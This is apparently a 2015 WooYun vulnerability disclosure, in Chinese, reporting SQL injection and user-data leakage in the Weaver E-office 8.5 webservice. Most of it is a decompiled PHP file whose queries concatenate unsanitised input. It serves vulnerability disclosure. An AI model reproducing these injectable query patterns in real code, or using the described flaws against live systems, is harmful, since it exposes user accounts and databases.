当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号: WooYun-2015-125279

漏洞标题: 泛微E-office 同一文件多处sql注射/用户信息泄露(ROOT SHELL)

相关厂商: 泛微E-office

漏洞作者: menmen519

提交时间: 2015-07-10 12:14

公开时间: 2015-10-08 11:58

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-10: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-13: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

泛微E-office 同一文件多处sql注射/用户信息泄露(ROOT SHELL)

详细说明:

看了wooyun个大牛发的这个产品的漏洞,感觉版本都过低,这里我发一个8.5的版本,里面新增了webservice的相关操作 下来看代码





webservice/eoffice.wsdl.php:



看看里面的代码:

code 区域
<?php
/*********************/
/* */
/* Dezend for PHP5 */
/* NWS */
/* Nulled.WS */
/* */
/*********************/

function UserLogin( $userAccount, $password )
{
global $connection;
global $_lang;
if ( trim( $userAccount ) == "" )
{
$userLoginReturn['code'] = "0x0000001";
return $userLoginReturn;
}
$checkUserAccountIsExsitQuery = "SELECT * FROM user WHERE USER_ACCOUNTS='".trim( $userAccount )."'";
$checkUserAccountIsExsitResult = exequery( $connection, $checkUserAccountIsExsitQuery );
if ( $checkUserAccountIsExsitRow = mysql_fetch_array( $checkUserAccountIsExsitResult ) )
{
if ( trim( $checkUserAccountIsExsitRow['USER_ACCOUNTS'] ) != trim( $userAccount ) )
{
$userLoginReturn['code'] = "0x0000002";
return $userLoginReturn;
}
}
else
{
$userLoginReturn['code'] = "0x0000002";
return $userLoginReturn;
}
$checkPasswordQuery = "SELECT PASSWORD FROM user WHERE USER_ACCOUNTS='".trim( $userAccount )."'";
$checkPasswordResult = exequery( $connection, $checkPasswordQuery );
$checkPasswordRow = mysql_fetch_array( $checkPasswordResult );
$myPassword = $checkPasswordRow['PASSWORD'];
if ( crypt( $password, $myPassword ) != $myPassword )
{
$userLoginReturn['code'] = "0x0000003";
return $userLoginReturn;
}
$query = "SELECT * from USER where USER_ACCOUNTS='".$userAccount."'";
$cursor = exequery( $connection, $query );
$ROW = mysql_fetch_array( $cursor );
$timenow = time( );
$CUR_TIME = date( "Y-m-d H:i:s", $timenow );
$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$ROW['USER_ID']."'";
exequery( $connection, $query );
$query = "SELECT * from USER_PRIV where USER_PRIV=".$ROW['USER_PRIV'];
$cursor = exequery( $connection, $query );
if ( $ROW1 = mysql_fetch_array( $cursor ) )
{
$LOGIN_FUNC_STR = $ROW1['FUNC_ID_STR'];
}
$LOGIN_THEME = $ROW['THEME'];
$template = $ROW['TEMPLATE'];
if ( !$template )
{
$template_query = "SELECT TEMPLATE_NAME FROM sys_template WHERE TEMPLATE_DEFAULT = 1 ";
$template_rs = exequery( $connection, $template_query );
if ( $row_tp = mysql_fetch_array( $template_rs ) )
{
$template = $row_tp['TEMPLATE_NAME'];
}
else
{
$template = "8series";
}
}
if ( $template == "8series" )
{
$mainUrl = "/general/index8.php";
}
else if ( $template == "7series" )
{
$mainUrl = "/general/index.php";
}
else
{
$mainUrl = "index8.php";
}
if ( $LOGIN_THEME == "" )
{
$LOGIN_THEME = "default";
}
$LOGIN_THEME = $template."/".$LOGIN_THEME;
session_start( );
$_SESSION['LOGIN_USER_ID'] = $ROW['USER_ID'];
$_SESSION['LOGIN_PASSWORD'] = $ROW['PASSWORD'];
$_SESSION['LOGIN_POST_PRIV'] = $ROW['POST_PRIV'];
$_SESSION['LOGIN_USER_ACCOUNTS'] = $ROW['USER_ACCOUNTS'];
$_SESSION['LOGIN_USER_NAME'] = $ROW['USER_NAME'];
$_SESSION['LOGIN_USER_PRIV'] = $ROW['USER_PRIV'];
$_SESSION['LOGIN_DEPT_ID'] = $ROW['DEPT_ID'];
$_SESSION['LOGIN_FUNC_STR'] = $LOGIN_FUNC_STR;
$_SESSION['LOGIN_THEME'] = $LOGIN_THEME;
$_SESSION['LOGIN_LANG'] = "cn";
$_SESSION['LOGIN_LANG_ID'] = 1;
$infor['sessionID'] = session_id( );
$infor['userID'] = $ROW['USER_ID'];
$infor['deptID'] = $ROW['USER_ID'];
$infor['privID'] = $ROW['USER_PRIV'];
$infor['userName'] = $ROW['USER_NAME'];
$infor['userAccount'] = $ROW['USER_ACCOUNTS'];
$infor['avatarType'] = $ROW['AVATAR_TYPE'];
$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$ROW['USER_ID']."'";
exequery( $connection, $query );
add_log( 1, $_lang['common_login_from_PC'], $ROW['USER_ID'] );
$query = "SELECT * FROM `sys_para`;";
$result = exequery( $connection, $query );
while ( $row = mysql_fetch_array( $result ) )
{
switch ( $row['PARA_NAME'] )
{
case "slogan" :
$infor['slogan'] = $row['PARA_VALUE'];
break;
case "SMS_FREQUENCY" :
$infor['smsFrequency'] = $row['PARA_VALUE'];
break;
}
}
$query = "SELECT * FROM sys_upload WHERE MODULE_NAME='SMS' OR MODULE_NAME ='FILE'";
$result = exequery( $connection, $query );
while ( $row = mysql_fetch_array( $result ) )
{
if ( $row['MODULE_NAME'] == "SMS" )
{
$temp['maxNumber'] = $row['UPLOAD_MAX_NUM'];
$temp['singleMaxSize'] = $row['UPLOAD_SINGLE_MAX_SIZE'];
$temp['totalMaxSize'] = $row['UPLOAD_TOTAL_MAX_SIZE'];
$temp['denySuffix'] = "|".$row['DENY_SUFFIX']."|".UPLOADROLE;
$infor['smsUploadParam'] = $temp;
}
else if ( $row['MODULE_NAME'] == "FILE" )
{
$temp['maxNumber'] = $row['UPLOAD_MAX_NUM'];
$temp['singleMaxSize'] = $row['UPLOAD_SINGLE_MAX_SIZE'];
$temp['totalMaxSize'] = $row['UPLOAD_TOTAL_MAX_SIZE'];
$temp['denySuffix'] = "|".$row['DENY_SUFFIX']."|".UPLOADROLE;
$infor['documentUploadParam'] = $temp;
}
}
$userLoginReturn['code'] = "0x0000000";
$userLoginReturn['infor'] = $infor;
return $userLoginReturn;
}

function GetLanguage( )
{
global $connection;
$query = "SELECT LANG_ID,LANG_NAME FROM language";
$result = exequery( $connection, $query );
$language = array( );
while ( $row = mysql_fetch_array( $result ) )
{
$temp['langID'] = $row['LANG_ID'];
$temp['langName'] = $row['LANG_NAME'];
array_push( $language, $temp );
}
return $language;
}

function GetMenuLink( $funcCode, $funcName )
{
if ( trim( $funcCode ) == "" || trim( $funcCode ) == "@" )
{
$href = "";
}
else if ( strstr( $funcCode, "http://" ) || strstr( $funcCode, "workflow/new/do.php" ) || strstr( $funcCode, "workflow/new/freedo.php" ) )
{
if ( strstr( $funcCode, "workflow/new/do.php" ) || strstr( $funcCode, "workflow/new/freedo.php" ) )
{
$funcCode = "/general/".$funcCode;
}
if ( strstr( $funcCode, "workflow/new/do.php" ) || strstr( $funcCode, "workflow/new/freedo.php" ) )
{
$href = "/general/workflow/flow_redirect.php?url=".urlencode( $funcCode )."&FUNC_ID={$func_id}";
}
else
{
$href = $funcCode;
}
}
else if ( strstr( $funcCode, "file://" ) )
{
$winpath = str_replace( "\\", "/", str_replace( "file://", "", $funcCode ) );
$winpath = base64_encode( $winpath );
$href = "/general/winexe/run_cache.php?path=".$winpath."&name=".urlencode( $funcName );
}
else if ( strstr( $funcCode, "*" ) )
{
$func_code = str_replace( "*", "", $funcCode );
$href = "/general/loginothersys/run_login.php?id=".$func_code;
}
else
{
$needle = "?";
$tmparray = explode( $needle, $funcCode );
if ( 1 < count( $tmparray ) )
{
$href = "/general/".$funcCode."&func_id={$func_id}";
}
else
{
$href = "/general/".$funcCode."?func_id={$func_id}";
}
}
return $href;
}

function GetUserFuncIDStr( $userPriv )
{
global $connection;
$query = "SELECT FUNC_ID_STR from USER_PRIV where USER_PRIV='".$userPriv."'";
$result = exequery( $connection, $query );
$row = mysql_fetch_array( $result );
return substr( $row['FUNC_ID_STR'], 0, -1 );
}

function GetCommonMenu( $userPriv, $userID, $langID )
{
global $connection;
$funcIDStr = getuserfuncidstr( $userPriv );
$funcIDStr = $funcIDStr == "" ? 0 : $funcIDStr;
$query = "SELECT \r\n\t\t\t\ta.FUNC_NAME AS FUNC_NAME_SYS,\r\n\t\t\t\ta.FUNC_NAME_PY AS FUNC_NAME_PY_SYS,\r\n\t\t\t\ta.FUNC_NAME_ZM AS FUNC_NAME_ZM_SYS,\r\n\t\t\t\tb.FUNC_ID,\r\n\t\t\t\tb.FUNC_NAME AS FUNC_NAME_USER,\r\n\t\t\t\tb.FUNC_NAME_PY AS FUNC_NAME_PY_USER,\r\n\t\t\t\tb.FUNC_NAME_ZM AS FUNC_NAME_ZM_USER,\r\n\t\t\t\tb.FUNC_CODE,\r\n\t\t\t\tb.FUNC_ISSYS,\r\n\t\t\t\tc.FUNC_IMG \r\n\t\t\t\tFROM menu_lang AS a \r\n\t\t\t\tJOIN user_menu AS b \r\n\t\t\t\tON a.FUNC_ID = b.FUNC_ID \r\n\t\t\t\tJOIN sys_function AS c \r\n\t\t\t\tON a.FUNC_ID = c.FUNC_ID \r\n\t\t\t\tWHERE ((b.FUNC_ID IN ({$funcIDStr}) AND b.FUNC_ISSYS=1 AND a.LANG_ID = ".$langID." ) \r\n\t\t\t\tOR b.FUNC_ISSYS=0) \r\n\t\t\t\tAND LEFT(b.FUNC_CODE,1)<>'@' \r\n\t\t\t\tAND b.FUNC_CODE <> '' \r\n\t\t\t\tAND b.USER_ID = '".$userID."' \r\n\t\t\t\tAND b.FUNC_ISSHOW = 1 \r\n\t\t\t\tORDER BY FREQUENCY DESC \r\n\t\t\t\tLIMIT 0,12";
$result = exequery( $connection, $query );
$returnArray = array( );
while ( $row = mysql_fetch_array( $result ) )
{
if ( $row['FUNC_ISSYS'] == 1 )
{
$funcName = $row['FUNC_NAME_SYS'];
}
else
{
$funcName = $row['FUNC_NAME_USER'];
}
$funcID = $row['FUNC_ID'];
$menuID = $row['MENU_ID'];
$funcCode = $row['FUNC_CODE'];
$funcImg = $row['FUNC_IMG'];
if ( $funcImg == "" )
{
$imgSrc = "/images/8/icons/48/".$funcID.".png";
}
else
{
$imgSrc = "/attachment/index/48/".$funcImg;
}
$imgSrc = file_exists( ROOT_PATH.$imgSrc ) ? $imgSrc : "/images/8/icons/48/default.png";
$tempArray['funcName'] = $funcName;
$tempArray['funcID'] = $funcID;
$tempArray['imageLink'] = $imgSrc;
$tempArray['menuLink'] = getmenulink( $funcCode, $funcName );
array_push( $returnArray, $tempArray );
}
return $returnArray;
}

function IsHaveChildrenMenu( $userID, $menuID, $funcIDStr )
{
global $connection;
$menuLength = strlen( $menuID );
$query = "SELECT COUNT(*) AS CNT FROM user_menu \r\n\t\t\t WHERE LEFT(MENU_ID,".$menuLength.")='".$menuID."' \r\n\t\t\t AND LENGTH(MENU_ID)=".( strlen( $menuID ) + 2 )." \r\n\t\t\t AND USER_ID='".$userID."' \r\n\t\t\t AND FUNC_ID IN ({$funcIDStr})\r\n\t\t\t AND FUNC_ISSHOW = 1";
$result = exequery( $connection, $query );
if ( $row = mysql_fetch_array( $result ) )
{
if ( 0 < $row['CNT'] )
{
return true;
}
else
{
return false;
}
}
}

function GetAllMenu( $userPriv, $userID, $langID )
{
global $connection;
$funcIDStr = getuserfuncidstr( $userPriv );
$funcIDStr = $funcIDStr == "" ? 0 : $funcIDStr;
$query = "SELECT \r\n\t\t\t\ta.FUNC_NAME AS FUNC_NAME_SYS,\r\n\t\t\t\ta.FUNC_NAME_PY AS FUNC_NAME_PY_SYS,\r\n\t\t\t\ta.FUNC_NAME_ZM AS FUNC_NAME_ZM_SYS,\r\n\t\t\t\tb.FUNC_ID,\r\n\t\t\t\tb.FUNC_NAME AS FUNC_NAME_USER,\r\n\t\t\t\tb.FUNC_NAME_PY AS FUNC_NAME_PY_USER,\r\n\t\t\t\tb.FUNC_NAME_ZM AS FUNC_NAME_ZM_USER,\r\n\t\t\t\tb.FUNC_CODE,\r\n\t\t\t\tb.FUNC_ISSYS,\r\n\t\t\t\tb.MENU_ID,\r\n\t\t\t\tc.FUNC_IMG \r\n\t\t\t\tFROM menu_lang AS a \r\n\t\t\t\tRIGHT JOIN user_menu AS b \r\n\t\t\t\tON a.FUNC_ID = b.FUNC_ID \r\n\t\t\t\tLEFT JOIN sys_function AS c \r\n\t\t\t\tON a.FUNC_ID = c.FUNC_ID \r\n\t\t\t\tWHERE ((b.FUNC_ID IN ({$funcIDStr}) AND b.FUNC_ISSYS=1 AND a.LANG_ID = ".$langID.") \r\n\t\t\t\tOR b.FUNC_ISSYS=0) \r\n\t\t\t\tAND b.USER_ID = '".$userID."' \r\n\t\t\t\tAND b.FUNC_ISSHOW = 1 ORDER BY b.ORDER_ID ASC";
$result = exequery( $connection, $query );
$returnArray = array( );
while ( $row = mysql_fetch_array( $result ) )
{
if ( $row['FUNC_ISSYS'] == 1 )
{
$funcName = $row['FUNC_NAME_SYS'];
$funcNamePY = $row['FUNC_NAME_PY_SYS'];
$funcNameZM = $row['FUNC_NAME_ZM_SYS'];
}
else
{
$funcName = $row['FUNC_NAME_USER'];
$funcNamePY = $row['FUNC_NAME_PY_USER'];
$funcNameZM = $row['FUNC_NAME_ZM_USER'];
}
$funcID = $row['FUNC_ID'];
$menuID = $row['MENU_ID'];
$funcCode = $row['FUNC_CODE'];
$funcImg = $row['FUNC_IMG'];
$menuIDLength = strlen( $menuID );
if ( $funcCode == "" || strstr( $funcCode, "@" ) !== false )
{
$isParent = "true";
}
else
{
$isParent = "false";
}
if ( $isParent == "true" && !ishavechildrenmenu( $userID, $menuID, $funcIDStr ) )
{
continue;
}
if ( $funcImg == "" )
{
$imgSrc = "/images/8/icons/16/".$funcID.".png";
}
else
{
$imgSrc = "/attachment/index/16/".$funcImg;
}
$imgSrc = file_exists( ROOT_PATH.$imgSrc ) ? $imgSrc : "/images/8/icons/16/default.png";
$tempArray['isParent'] = $isParent;
$tempArray['funcName'] = $funcName;
$tempArray['funcNamePY'] = $funcNamePY;
$tempArray['funcNameZM'] = $funcNameZM;
$tempArray['funcID'] = $funcID;
$tempArray['imageLink'] = $imgSrc;
$tempArray['menuID'] = $menuID;
$tempArray['menuLink'] = getmenulink( $funcCode, $funcName );
array_push( $returnArray, $tempArray );
}
return $returnArray;
}

function GetMenuByUserID( $userID )
{
global $connection;
$query = "SELECT b.FUNC_ID_STR FROM user as a JOIN user_priv as b ON a.USER_PRIV=b.USER_PRIV WHERE a.USER_ID='".$userID."'";
$result = exequery( $connection, $query );
if ( $row = mysql_fetch_array( $result ) )
{
return $row['FUNC_ID_STR'];
}
}

function GetUser( )
{
global $connection;
$query = "SELECT a.*,b.DEPT_NAME,c.PRIV_NAME \r\n\t\t\t\tFROM user as a \r\n\t\t\t\tJOIN department as b \r\n\t\t\t\tON a.DEPT_ID = b.DEPT_ID \r\n\t\t\t\tJOIN user_priv as c \r\n\t\t\t\tON a.USER_PRIV = c.USER_PRIV \r\n\t\t\t\tWHERE a.DEPT_ID!=0 \r\n\t\t\t\tORDER BY a.LISTNUMBER,a.USER_NAME";
$result = exequery( $connection, $query );
$returnArray = array( );
while ( $row = mysql_fetch_array( $result ) )
{
$tempArray['deptID'] = $row['DEPT_ID'];
$tempArray['userID'] = $row['USER_ID'];
$tempArray['userName'] = $row['USER_NAME'];
$tempArray['userPriv'] = $row['USER_PRIV'];
$tempArray['avatarType'] = $row['AVATAR_TYPE'];
$tempArray['department'] = $row['DEPT_NAME'];
$tempArray['userPrivName'] = $row['PRIV_NAME'];
$tempArray['email'] = $row['EMAIL'];
$tempArray['phoneNumber'] = $row['MOBIL_NO'];
$tempArray['birthday'] = $row['BIRTHDAY'];
$tempArray['userNamePY'] = $row['USER_NAME_PY'];
$tempArray['userNameZM'] = $row['USER_NAME_ZM'];
array_push( $returnArray, $tempArray );
}
return $returnArray;
}

function GetDept( )
{
global $connection;
$query = "SELECT DEPT_ID,DEPT_NAME,DEPT_PARENT FROM department ORDER BY DEPT_NO ASC";
$result = exequery( $connection, $query );
$returnArray = array( );
while ( $row = mysql_fetch_array( $result ) )
{
$tempArray['deptID'] = $row['DEPT_ID'];
$tempArray['deptName'] = $row['DEPT_NAME'];
$tempArray['deptParent'] = $row['DEPT_PARENT'];
array_push( $returnArray, $tempArray );
}
return $returnArray;
}

function GetPriv( )
{
global $connection;
$query = "SELECT USER_PRIV,PRIV_NAME FROM user_priv ORDER BY PRIV_NO";
$result = exequery( $connection, $query );
$returnArray = array( );
while ( $row = mysql_fetch_array( $result ) )
{
$tempArray['privID'] = $row['USER_PRIV'];
$tempArray['privName'] = $row['PRIV_NAME'];
array_push( $returnArray, $tempArray );
}
return $returnArray;
}

function SendMessage( $fromUserID, $toUserID, $content, $attachmentID, $attachmentName )
{
global $connection;
$query = "INSERT INTO sms \r\n\t\t\t(FROM_ID,TO_ID,SMS_TYPE,CONTENT,SEND_TIME,REMIND_FLAG,ATTACHMENT_ID,ATTACHMENT_NAME)\r\n\t\t\tVALUES \r\n\t\t\t('".$fromUserID."','".$toUserID."',0,'".$content."',NOW(),1,'".$attachmentID."','".$attachmentName."')";
return exequery( $connection, $query );
}

function GetMessage( $userID, $isOnlyNew )
{
global $connection;
$CUR_TIME = date( "Y-m-d H:i:s", time( ) );
$query = "SELECT * FROM sms \r\n\t\t\t\t\tWHERE TO_ID='".$userID."' \r\n\t\t\t\t\tAND receive_del = 0 \r\n\t\t\t\t\tAND send_del !=1 \r\n\t\t\t\t\tAND SEND_TIME<='{$CUR_TIME}'";
$limit = " LIMIT 0,30";
if ( $isOnlyNew )
{
$query .= " AND REMIND_FLAG=1";
$limit = "";
}
$query .= " ORDER BY SEND_TIME DESC ".$limit;
$result = exequery( $connection, $query );
$returnArray = array( );
while ( $row = mysql_fetch_array( $result ) )
{
$tempArray['smsID'] = $row['SMS_ID'];
$tempArray['smsType'] = $row['SMS_TYPE'];
$tempArray['attachmentID'] = $row['ATTACHMENT_ID'];
$tempArray['attachmentName'] = $row['ATTACHMENT_NAME'];
$tempArray['fromUserID'] = $row['FROM_ID'];
$tempArray['fromUserName'] = getusernamenew( $row['FROM_ID'] );
$tempArray['fromUserAvatar'] = getuseravatartype( $row['FROM_ID'] );
$tempArray['content'] = $row['CONTENT'];
$tempArray['sendTime'] = $row['SEND_TIME'];
$typeArray = getsmstypeurl( $row['SMS_TYPE'], $row['CONTENT'], $row['TABLE_ID'], $row['TABLE_VAR'], $row['TABLE_NAME'], $userID );
$tempArray['typeText'] = $typeArray['TEXT'];
$tempArray['typeUrl'] = $typeArray['URL'];
array_push( $returnArray, $tempArray );
}
return $returnArray;
}

function SetMessageRead( $userID, $messageIDStr, $fromUserID )
{
global $connection;
$CUR_TIME = date( "Y-m-d H:i:s", time( ) );
$query = "UPDATE `sms`\r\n\t\t\t\tSET `REMIND_FLAG` = 0 WHERE SEND_TIME<='{$CUR_TIME}' AND TO_ID='".$userID."'";
if ( $fromUserID != "" )
{
$query .= " AND FROM_ID='".$fromUserID."'";
}
if ( $messageIDStr != "" )
{
$query .= " AND SMS_ID IN ({$messageIDStr})";
}
exequery( $connection, $query );
}

function CreateFile( $subject, $attachmentIDStr, $attachmentNameStr, $userID )
{
global $connection;
$currentTime = date( "Y-m-d H:i:s", time( ) );
$query = "INSERT INTO `file_content`\r\n\t\t\t\t(\r\n\t\t\t\t`CONTENT_TYPE`,\r\n\t\t\t\t`SORT_ID`,\r\n\t\t\t\t`FROM_ID`,\r\n\t\t\t\t`SUBJECT`,\r\n\t\t\t\t`SEND_TIME`,\r\n\t\t\t\t`USER_ID`,\r\n\t\t\t\t`ATTACHMENT_ID`,\r\n\t\t\t\t`ATTACHMENT_NAME`,\r\n\t\t\t\t`FILE_TYPE`)\r\n\t\t\t\tVALUES\r\n\t\t\t\t(\r\n\t\t\t\t1,\r\n\t\t\t\t-1,\r\n\t\t\t\t0,\r\n\t\t\t\t'".$subject."',\r\n\t\t\t\t'".$currentTime."',\r\n\t\t\t\t'".$userID."',\r\n\t\t\t\t'".$attachmentIDStr."',\r\n\t\t\t\t'".$attachmentNameStr."',\r\n\t\t\t\t1);";
exequery( $connection, $query );
return mysql_insert_id( );
}

function GetNewVersion( )
{
global $connection;
$getVersionQuery = "SELECT * FROM `client_version` ORDER BY DATE_TIME DESC LIMIT 0,1";
$getVersionResult = exequery( $connection, $getVersionQuery );
if ( $getVersionRow = mysql_fetch_array( $getVersionResult ) )
{
$return['version'] = $getVersionRow['VERSION'];
$getReadmeQuery = "SELECT * FROM `client_version_readme` WHERE CLIENT_VERSION_ID=".$getVersionRow['CLIENT_VERSION_ID'];
$getReadmeResult = exequery( $connection, $getReadmeQuery );
while ( $getReadmeRow = mysql_fetch_array( $getReadmeResult ) )
{
$temp['subject'] = $getReadmeRow['README_SUBJECT'];
$temp['describe'] = $getReadmeRow['README_DESCRIBE'];
$temp['image'] = $getReadmeRow['README_IMAGE'];
if ( !is_array( $return['readme'] ) )
{
$return['readme'] = array( );
}
array_push( $return['readme'], $temp );
}
}
return $return;
}

function Attend( $userID, $deptID, $privID, $checkType )
{
$userInfor['UserId'] = $userID;
$userInfor['DepyId'] = $deptID;
$userInfor['PrivId'] = $privID;
$userInfor['LoginCheck'] = $checkType;
$attend = new attend( );
$result = $attend->GetLoginInOut( $userInfor );
if ( $checkType == "in" )
{
return $result['LoginInLateTime'];
}
else
{
return $result['LoginOutEarlyTime'];
}
}

function CheckIsSignIn( $userID )
{
$attend = new attend( );
$dutyId = $attend->getUserDutyType( $userID );
$dutyArray = $attend->getDutyData( $dutyId );
return $attend->isSignIn( $dutyArray, $dutyId, $userID );
}

include_once( "nusoap/lib/nusoap.php" );
include_once( "inc/conn.php" );
include_once( "api/user.class.php" );
include_once( "api/attend.class.php" );
include_once( "inc/utility_all.php" );
include_once( "general/workflow/prcs_role.php" );
include_once( "lang/cn/common.lang.php" );
$server = new soap_server( );
$server->soap_defencoding = "UTF-8";
$server->decode_utf8 = false;
$server->configureWSDL( "EofficeService", "urn:EofficeService" );
$server->wsdl->schemaTargetNamespace = "urn:EofficeService";
$server->wsdl->addComplexType( "UserLoginReturn", "complexType", "struct", "all", "", array( "code" => array( "name" => "code", "type" => "xsd:string" ), "infor" => array( "name" => "infor", "type" => "tns:userInforObj" ) ) );
$server->wsdl->addComplexType( "userInforObj", "complexType", "struct", "all", "", array( "sessionID" => array( "name" => "sessionID", "type" => "xsd:string" ), "userID" => array( "name" => "userID", "type" => "xsd:string" ), "deptID" => array( "name" => "deptID", "type" => "xsd:string" ), "privID" => array( "name" => "privID", "type" => "xsd:string" ), "userName" => array( "name" => "userName", "type" => "xsd:string" ), "userAccount" => array( "name" => "userAccount", "type" => "xsd:string" ), "avatarType" => array( "name" => "userAvatar", "type" => "xsd:string" ), "slogan" => array( "name" => "slogan", "type" => "xsd:string" ), "smsFrequency" => array( "name" => "smsFrequency", "type" => "xsd:string" ), "smsUploadParam" => array( "name" => "smsUploadParam", "type" => "tns:smsUploadParam" ), "documentUploadParam" => array( "name" => "documentUploadParam", "type" => "tns:documentUploadParam" ) ) );
$server->wsdl->addComplexType( "smsUploadParam", "complexType", "struct", "all", "", array( "maxNumber" => array( "name" => "maxNumber", "type" => "xsd:string" ), "singleMaxSize" => array( "name" => "singleMaxSize", "type" => "xsd:string" ), "totalMaxSize" => array( "name" => "totalMaxSize", "type" => "xsd:string" ), "denySuffix" => array( "name" => "denySuffix", "type" => "xsd:string" ) ) );
$server->wsdl->addComplexType( "documentUploadParam", "complexType", "struct", "all", "", array( "maxNumber" => array( "name" => "maxNumber", "type" => "xsd:string" ), "singleMaxSize" => array( "name" => "singleMaxSize", "type" => "xsd:string" ), "totalMaxSize" => array( "name" => "totalMaxSize", "type" => "xsd:string" ), "denySuffix" => array( "name" => "denySuffix", "type" => "xsd:string" ) ) );
$server->register( "UserLogin", array( "userAccount" => "xsd:string", "password" => "xsd:string" ), array( "return" => "tns:UserLoginReturn" ), "urn:EofficeService", "urn:EofficeService#UserLogin", "rpc", "encoded", "UserLogin" );
$server->wsdl->addComplexType( "languageRerurnArray", "complexType", "array", "", "SOAP-ENC:Array", array( ), array( array( "ref" => "SOAP-ENC:arrayType", "wsdl:arrayType" => "tns:languageReturn[]" ) ), "tns:languageReturn" );
$server->wsdl->addComplexType( "languageReturn", "complexType", "struct", "all", "", array( "langID" => array( "name" => "langID", "type" => "xsd:string" ), "langName" => array( "name" => "langName", "type" => "xsd:string" ) ) );
$server->register( "GetLanguage", array( ), array( "return" => "tns:languageRerurnArray" ), "urn:EofficeService", "urn:EofficeService#GetLanguage", "rpc", "encoded", "GetLanguage" );
$server->wsdl->addComplexType( "menuRerurnArray", "complexType", "array", "", "SOAP-ENC:Array", array( ), array( array( "ref" => "SOAP-ENC:arrayType", "wsdl:arrayType" => "tns:menuReturn[]" ) ), "tns:menuReturn" );
$server->wsdl->addComplexType( "menuReturn", "complexType", "struct", "all", "", array( "funcName" => array( "name" => "funcName", "type" => "xsd:string" ), "funcID" => array( "name" => "funcID", "type" => "xsd:string" ), "menuLink" => array( "name" => "menuLink", "type" => "xsd:string" ), "imageLink" => array( "name" => "imageLink", "type" => "xsd:string" ) ) );
$server->register( "GetCommonMenu", array( "userPriv" => "xsd:string", "userID" => "xsd:string", "langID" => "xsd:string" ), array( "return" => "tns:menuRerurnArray" ), "urn:EofficeService", "urn:EofficeService#GetCommonMenu", "rpc", "encoded", "GetCommonMenu" );
$server->wsdl->addComplexType( "allMenuRerurnArray", "complexType", "array", "", "SOAP-ENC:Array", array( ), array( array( "ref" => "SOAP-ENC:arrayType", "wsdl:arrayType" => "tns:allMenuReturn[]" ) ), "tns:allMenuReturn" );
$server->wsdl->addComplexType( "allMenuReturn", "complexType", "struct", "all", "", array( "funcName" => array( "name" => "funcName", "type" => "xsd:string" ), "funcNamePY" => array( "name" => "funcNamePY", "type" => "xsd:string" ), "funcNameZM" => array( "name" => "funcNameZM", "type" => "xsd:string" ), "funcID" => array( "name" => "funcID", "type" => "xsd:string" ), "menuLink" => array( "name" => "menuLink", "type" => "xsd:string" ), "menuID" => array( "name" => "menuID", "type" => "xsd:string" ), "isParent" => array( "name" => "isParent", "type" => "xsd:string" ), "imageLink" => array( "name" => "imageLink", "type" => "xsd:string" ) ) );
$server->register( "GetAllMenu", array( "userPriv" => "xsd:string", "userID" => "xsd:string", "langID" => "xsd:string" ), array( "return" => "tns:allMenuRerurnArray" ), "urn:EofficeService", "urn:EofficeService#GetAllMenu", "rpc", "encoded", "Get All Menu" );
$server->register( "GetMenuByUserID", array( "userID" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:EofficeService", "urn:EofficeService#GetMenuByUserID", "rpc", "encoded", "GetMenuByUserID" );
$server->wsdl->addComplexType( "userReturnArray", "complexType", "array", "", "SOAP-ENC:Array", array( ), array( array( "ref" => "SOAP-ENC:arrayType", "wsdl:arrayType" => "tns:userReturn[]" ) ), "tns:userReturn" );
$server->wsdl->addComplexType( "userReturn", "complexType", "struct", "all", "", array( "deptID" => array( "name" => "deptID", "type" => "xsd:string" ), "userPriv" => array( "name" => "userPriv", "type" => "xsd:string" ), "userID" => array( "name" => "userID", "type" => "xsd:string" ), "userName" => array( "name" => "userName", "type" => "xsd:string" ), "avatarType" => array( "name" => "avatarType", "type" => "xsd:string" ), "department" => array( "name" => "department", "type" => "xsd:string" ), "userPrivName" => array( "name" => "userPrivName", "type" => "xsd:string" ), "email" => array( "name" => "email", "type" => "xsd:string" ), "phoneNumber" => array( "name" => "phoneNumber", "type" => "xsd:string" ), "birthday" => array( "name" => "birthday", "type" => "xsd:string" ), "userNamePY" => array( "name" => "userNamePY", "type" => "xsd:string" ), "userNameZM" => array( "name" => "userNameZM", "type" => "xsd:string" ) ) );
$server->register( "GetUser", array( ), array( "return" => "tns:userReturnArray" ), "urn:EofficeService", "urn:EofficeService#GetUser", "rpc", "encoded", "Get User" );
$server->wsdl->addComplexType( "deptReturnArray", "complexType", "array", "", "SOAP-ENC:Array", array( ), array( array( "ref" => "SOAP-ENC:arrayType", "wsdl:arrayType" => "tns:deptReturn[]" ) ), "tns:deptReturn" );
$server->wsdl->addComplexType( "deptReturn", "complexType", "struct", "all", "", array( "deptID" => array( "name" => "deptID", "type" => "xsd:string" ), "deptName" => array( "name" => "deptName", "type" => "xsd:string" ), "deptParent" => array( "name" => "deptParent", "type" => "xsd:string" ) ) );
$server->register( "GetDept", array( ), array( "return" => "tns:deptReturnArray" ), "urn:EofficeService", "urn:EofficeService#GetDept", "rpc", "encoded", "Get Dept" );
$server->wsdl->addComplexType( "privReturnArray", "complexType", "array", "", "SOAP-ENC:Array", array( ), array( array( "ref" => "SOAP-ENC:arrayType", "wsdl:arrayType" => "tns:privReturn[]" ) ), "tns:privReturn" );
$server->wsdl->addComplexType( "privReturn", "complexType", "struct", "all", "", array( "privID" => array( "name" => "privID", "type" => "xsd:string" ), "privName" => array( "name" => "privName", "type" => "xsd:string" ) ) );
$server->register( "GetPriv", array( ), array( "return" => "tns:privReturnArray" ), "urn:EofficeService", "urn:EofficeService#GetPriv", "rpc", "encoded", "Get Priv" );
